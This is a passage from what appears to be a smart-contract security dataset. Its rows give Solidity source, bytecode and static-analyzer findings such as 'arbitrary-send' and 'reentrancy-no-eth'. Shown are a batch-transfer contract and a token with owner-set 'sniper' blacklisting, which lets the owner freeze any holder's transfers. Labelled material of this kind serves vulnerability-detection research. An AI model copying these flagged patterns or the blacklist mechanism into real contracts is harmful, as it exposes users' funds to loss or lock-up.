82610c8f565b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336104b38585610c4d565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b33600090815260096020526040902060020154600554111561065f57600061050833610b81565b33600090815260096020526040902060040154909150610529908290610d74565b3360008181526009602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b15801561059457600080fd5b505af11580156105a8573d6000803e3d6000fd5b505050506040513d60208110156105be57600080fd5b50516105fb5760405162461bcd60e51b815260040180806020018281038252602c815260200180610f84602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600960205260409020600181019190915560085460038201556005546002909101555b565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a909252822054600554929384936106b093919261030e929161030891610c4d565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a9092529091205460055493945091926106fb926103089190610c4d565b8161070257fe5b6001600160a01b0394909416600090815260096020526040902060040154930601909101919050565b600154604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561077c57600080fd5b505afa158015610790573d6000803e3d6000fd5b505050506040513d60208110156107a657600080fd5b505192915050565b6000546001600160a01b031681565b60055481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561081d57600080fd5b505af1158015610831573d6000803e3d6000fd5b505050506040513d602081101561084757600080fd5b50516108845760405162461bcd60e51b8152600401808060200182810382526030815260200180610fff6030913960400191505060405180910390fd5b61088d81610c8f565b50565b60025481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156108f057600080fd5b505af1158015610904573d6000803e3d6000fd5b505050506040513d602081101561091a57600080fd5b50516109575760405162461bcd60e51b815260040180806020018281038252602e815260200180610fd1602e913960400191505060405180910390fd5b6002546000901561097957610976600a61030e60035461030886610ab2565b90505b6002541561098a5761098a81610c8f565b600061099533610b81565b33600090815260096020526040902060048101805483019055549091506109c6906109c08585610c4d565b90610d74565b336000908152600960205260409020908155600181018290556005546002820155600854600390910155610a066109fd8484610c4d565b60025490610d74565b6002557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c336104b38585610c4d565b6001600160a01b031660009081526009602052604090205490565b6000546001600160a01b03163314610a6757600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610ac0836064610dce565b90506000610ad561271061030e846064610add565b949350505050565b600082610aec57506000610b39565b82820282848281610af957fe5b0414610b365760405162461bcd60e51b8152600401808060200182810382526021815260200180610fb06021913960400191505060405180910390fd5b90505b92915050565b6000610b3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610de8565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a90925282205460055492938493610bd093919261030e929161030891610c4d565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a909252909120546005549394509192610c1b926103089190610c4d565b81610c2257fe5b6001600160a01b03949094166000908152600960205260409020600401805491909406019092555090565b6000610b3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e8a565b6000610cac6006546109c060075485610add90919063ffffffff16565b90506000610cc560025483610b3f90919063ffffffff16565b9050610cdc60025483610ee490919063ffffffff16565b600655600554610cec9082610d74565b600555600854600019016000908152600a6020526040902054610d0f9082610d74565b600880546000908152600a602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600082820183811015610b36576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818260018486010381610ddf57fe5b04029392505050565b60008183610e745760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e39578181015183820152602001610e21565b50505050905090810190601f168015610e665780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610e8057fe5b0495945050505050565b60008184841115610edc5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e39578181015183820152602001610e21565b505050900390565b6000610b3683836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525060008183610f705760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e39578181015183820152602001610e21565b50828481610f7a57fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a26469706673582212208ef44ae923f9891d3b5f06ac58ba62a2f521ebe35bfd5652c5c415472ccfde5c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,109 |
0xdbe751f0bc8873604e8e9f9ac7ce63ba7c20ad2b | pragma solidity 0.4.20;
// No deps verison.
/**
* @title ERC20
* @dev A standard interface for tokens.
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20 {
/// @dev Returns the total token supply
function totalSupply() public constant returns (uint256 supply);
/// @dev Returns the account balance of the account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @dev Transfers _value number of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value number of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/// @title Owned
/// @author Adrià Massanet <adria@codecontext.io>
/// @notice The Owned contract has an owner address, and provides basic
/// authorization control functions, this simplifies & the implementation of
/// user permissions; this contract has three work flows for a change in
/// ownership, the first requires the new owner to validate that they have the
/// ability to accept ownership, the second allows the ownership to be
/// directly transfered without requiring acceptance, and the third allows for
/// the ownership to be removed to allow for decentralization
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
/// @dev The constructor sets the `msg.sender` as the`owner` of the contract
function Owned() public {
owner = msg.sender;
}
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
/// @dev In this 1st option for ownership transfer `proposeOwnership()` must
/// be called first by the current `owner` then `acceptOwnership()` must be
/// called by the `newOwnerCandidate`
/// @notice `onlyOwner` Proposes to transfer control of the contract to a
/// new owner
/// @param _newOwnerCandidate The address being proposed as the new owner
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
/// @notice Can only be called by the `newOwnerCandidate`, accepts the
/// transfer of ownership
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 2nd option for ownership transfer `changeOwnership()` can
/// be called and it will immediately assign ownership to the `newOwner`
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 3rd option for ownership transfer `removeOwnership()` can
/// be called and it will immediately assign ownership to the 0x0 address;
/// it requires a 0xdece be input as a parameter to prevent accidental use
/// @notice Decentralizes the contract, this operation cannot be undone
/// @param _dac `0xdac` has to be entered for this function to work
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
/// @dev `Escapable` is a base level contract built off of the `Owned`
/// contract; it creates an escape hatch function that can be called in an
/// emergency that will allow designated addresses to send any ether or tokens
/// held in the contract to an `escapeHatchDestination` as long as they were
/// not blacklisted
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist; // Token contract addresses
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract; if a neutral address
/// is required, the WHG Multisig is an option:
/// 0x8Ff920020c8AD673661c8117f2855C384758C572
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
/// @dev The addresses preassigned as `escapeHatchCaller` or `owner`
/// are the only addresses that can call a function with this modifier
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
/// @notice Creates the blacklist of tokens that are not able to be taken
/// out of the contract; can only be done at the deployment, and the logic
/// to add to the blacklist will be in the constructor of a child contract
/// @param _token the token contract address that is to be blacklisted
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
/// @notice Checks to see if `_token` is in the blacklist of tokens
/// @param _token the token address being queried
/// @return False if `_token` is in the blacklist and can't be taken out of
/// the contract via the `escapeHatch()`
function isTokenEscapable(address _token) view public returns (bool) {
return !escapeBlacklist[_token];
}
/// @notice The `escapeHatch()` should only be called as a last resort if a
/// security issue is uncovered or something unexpected happened
/// @param _token to transfer, use 0x0 for ether
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
/// @dev Logic for ether
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
/// @dev Logic for tokens
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
/// @notice Changes the address assigned to call `escapeHatch()`
/// @param _newEscapeHatchCaller The address of a trusted account or
/// contract to call `escapeHatch()` to send the value in this contract to
/// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
// TightlyPacked is cheaper if you need to store input data and if amount is less than 12 bytes.
// Normal is cheaper if you don't need to store input data or if amounts are greater than 12 bytes.
contract Multiplexor is Escapable {
function Multiplexor() Escapable(0, 0) public {}
function init(address _escapeHatchCaller, address _escapeHatchDestination) public {
require(escapeHatchCaller == 0);
require(_escapeHatchCaller != 0);
require(_escapeHatchDestination != 0);
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
function multiTransferTightlyPacked(bytes32[] _addressAndAmount) payable public returns(bool) {
for (uint i = 0; i < _addressAndAmount.length; i++) {
_safeTransfer(address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i])));
}
return true;
}
function multiTransfer(address[] _address, uint[] _amount) payable public returns(bool) {
for (uint i = 0; i < _address.length; i++) {
_safeTransfer(_address[i], _amount[i]);
}
return true;
}
function multiCallTightlyPacked(bytes32[] _addressAndAmount) payable public returns(bool) {
for (uint i = 0; i < _addressAndAmount.length; i++) {
_safeCall(address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i])));
}
return true;
}
function multiCall(address[] _address, uint[] _amount) payable public returns(bool) {
for (uint i = 0; i < _address.length; i++) {
_safeCall(_address[i], _amount[i]);
}
return true;
}
function multiERC20TransferTightlyPacked(ERC20 _token, bytes32[] _addressAndAmount) public returns(bool) {
for (uint i = 0; i < _addressAndAmount.length; i++) {
_safeERC20Transfer(_token, address(_addressAndAmount[i] >> 96), uint(uint96(_addressAndAmount[i])));
}
return true;
}
function multiERC20Transfer(ERC20 _token, address[] _address, uint[] _amount) public returns(bool) {
for (uint i = 0; i < _address.length; i++) {
_safeERC20Transfer(_token, _address[i], _amount[i]);
}
return true;
}
function _safeTransfer(address _to, uint _amount) internal {
require(_to != 0);
_to.transfer(_amount);
}
function _safeCall(address _to, uint _amount) internal {
require(_to != 0);
require(_to.call.value(_amount)());
}
function _safeERC20Transfer(ERC20 _token, address _to, uint _amount) internal {
require(_to != 0);
require(_token.transferFrom(msg.sender, _to, _amount));
}
} | 0x6060604052600436106100e25763ffffffff60e060020a6000350416631476e40f81146100e75780631e89d5451461017f5780631f6eb6e7146102035780632a17e397146102325780632af4c31e1461027657806335a2172814610297578063666a342714610334578063710bf3221461035357806379ba509714610372578063892db057146103855780638da5cb5b146103a4578063a142d608146103b7578063ac66777f146103d6578063d091b5501461041a578063d836fbe81461042d578063f09a40161461044c578063f5b6123014610471578063f8f1d92714610484575b600080fd5b61016b6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506104e195505050505050565b604051901515815260200160405180910390f35b61016b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061053495505050505050565b341561020e57600080fd5b61021661057d565b604051600160a060020a03909116815260200160405180910390f35b61016b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061058c95505050505050565b341561028157600080fd5b610295600160a060020a03600435166105f6565b005b34156102a257600080fd5b61016b60048035600160a060020a03169060446024803590810190830135806020808202016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061068a95505050505050565b341561033f57600080fd5b610295600160a060020a03600435166106df565b341561035e57600080fd5b610295600160a060020a036004351661075c565b341561037d57600080fd5b6102956107cd565b341561039057600080fd5b61016b600160a060020a036004351661084d565b34156103af57600080fd5b61021661086c565b34156103c257600080fd5b610295600160a060020a036004351661087b565b61016b6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610ab795505050505050565b341561042557600080fd5b610216610b18565b341561043857600080fd5b610295600160a060020a0360043516610b27565b341561045757600080fd5b610295600160a060020a0360043581169060243516610b7f565b341561047c57600080fd5b610216610bed565b341561048f57600080fd5b61016b60048035600160a060020a0316906044602480359081019083013580602080820201604051908101604052809392919081815260200183836020028082843750949650610bfc95505050505050565b6000805b835181101561052a576105228482815181106104fd57fe5b9060200190602002015184838151811061051357fe5b90602001906020020151610c5e565b6001016104e5565b5060019392505050565b6000805b835181101561052a5761057584828151811061055057fe5b9060200190602002015184838151811061056657fe5b90602001906020020151610ca5565b600101610538565b600254600160a060020a031681565b6000805b82518110156105ed576105e560608483815181106105aa57fe5b9060200190602002015160029190910a90048483815181106105c857fe5b906020019060200201516bffffffffffffffffffffffff16610ca5565b600101610590565b50600192915050565b6000805433600160a060020a0390811691161461061257600080fd5b600160a060020a038216151561062757600080fd5b5060008054600160a060020a03838116600160a060020a031980841691909117938490556001805490911690559081169116817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000805b83518110156106d4576106cc858583815181106106a757fe5b906020019060200201518584815181106106bd57fe5b90602001906020020151610ceb565b60010161068e565b506001949350505050565b60005433600160a060020a039081169116146106fa57600080fd5b610dac600160a060020a0382161461071157600080fd5b60008054600160a060020a03199081169091556001805490911690557f94e8b32e01b9eedfddd778ffbd051a7718cdc14781702884561162dca6f74dbb60405160405180910390a150565b60005433600160a060020a0390811691161461077757600080fd5b60018054600160a060020a031916600160a060020a0383811691909117918290559081169033167f13a4b3bc0d5234dd3d87c9f1557d8faefa37986da62c36ba49309e2fb2c9aec460405160405180910390a350565b60015460009033600160a060020a039081169116146107eb57600080fd5b506000805460018054600160a060020a0319808416600160a060020a03838116919091179586905591169091559081169116817f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600160a060020a031660009081526004602052604090205460ff161590565b600054600160a060020a031681565b600254600090819033600160a060020a03908116911614806108ab575060005433600160a060020a039081169116145b15156108b657600080fd5b600160a060020a03831660009081526004602052604090205460ff16156108dc57600080fd5b600160a060020a038316151561096e57600354600160a060020a033081163193501682156108fc0283604051600060405180830381858888f19350505050151561092557600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051600160a060020a03909216825260208201526040908101905180910390a1610ab2565b5081600160a060020a0381166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156109c757600080fd5b6102c65a03f115156109d857600080fd5b5050506040518051600354909350600160a060020a03808416925063a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a4757600080fd5b6102c65a03f11515610a5857600080fd5b505050604051805190501515610a6d57600080fd5b7fa50dde912fa22ea0d215a0236093ac45b4d55d6ef0c604c319f900029c5d10f28383604051600160a060020a03909216825260208201526040908101905180910390a15b505050565b6000805b82518110156105ed57610b106060848381518110610ad557fe5b9060200190602002015160029190910a9004848381518110610af357fe5b906020019060200201516bffffffffffffffffffffffff16610c5e565b600101610abb565b600154600160a060020a031681565b60025433600160a060020a0390811691161480610b52575060005433600160a060020a039081169116145b1515610b5d57600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b600254600160a060020a031615610b9557600080fd5b600160a060020a0382161515610baa57600080fd5b600160a060020a0381161515610bbf57600080fd5b60028054600160a060020a03938416600160a060020a03199182161790915560038054929093169116179055565b600354600160a060020a031681565b6000805b825181101561052a57610c56846060858481518110610c1b57fe5b9060200190602002015160029190910a9004858481518110610c3957fe5b906020019060200201516bffffffffffffffffffffffff16610ceb565b600101610c00565b600160a060020a0382161515610c7357600080fd5b81600160a060020a03168160405160006040518083038185876187965a03f1925050501515610ca157600080fd5b5050565b600160a060020a0382161515610cba57600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610ca157600080fd5b600160a060020a0382161515610d0057600080fd5b82600160a060020a03166323b872dd33848460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610d6a57600080fd5b6102c65a03f11515610d7b57600080fd5b505050604051805190501515610ab257600080fd00a165627a7a7230582081e97d35fb0aa2b52d5cc75a7223aafc577213ad01071dae1f0af8bacb2e2e3c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,110 |
0x7236c72d74aa4fbe0503a432a38a6879e6f92ce0 | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
//TG: @apecap
//WEBSITE: apecapital.digital
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APECAP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APE CAPITAL";
string private constant _symbol = "APECAP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 15;
uint256 private _totalRefOnBuy = 0;
uint256 private _totalTaxOnSell = 10;
uint256 private _totalRefOnSell = 0;
uint256 private _totalSellTax = 15;
uint256 private _redisFee = _totalRefOnSell;
uint256 private _taxFee = _totalSellTax;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD1e7DAdaAbd0BD853A260c62898cD0B73E469F12);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 7 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 10 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _totalRefOnBuy;
_taxFee = _totalTaxOnSell;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _totalRefOnSell;
_taxFee = _totalSellTax;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
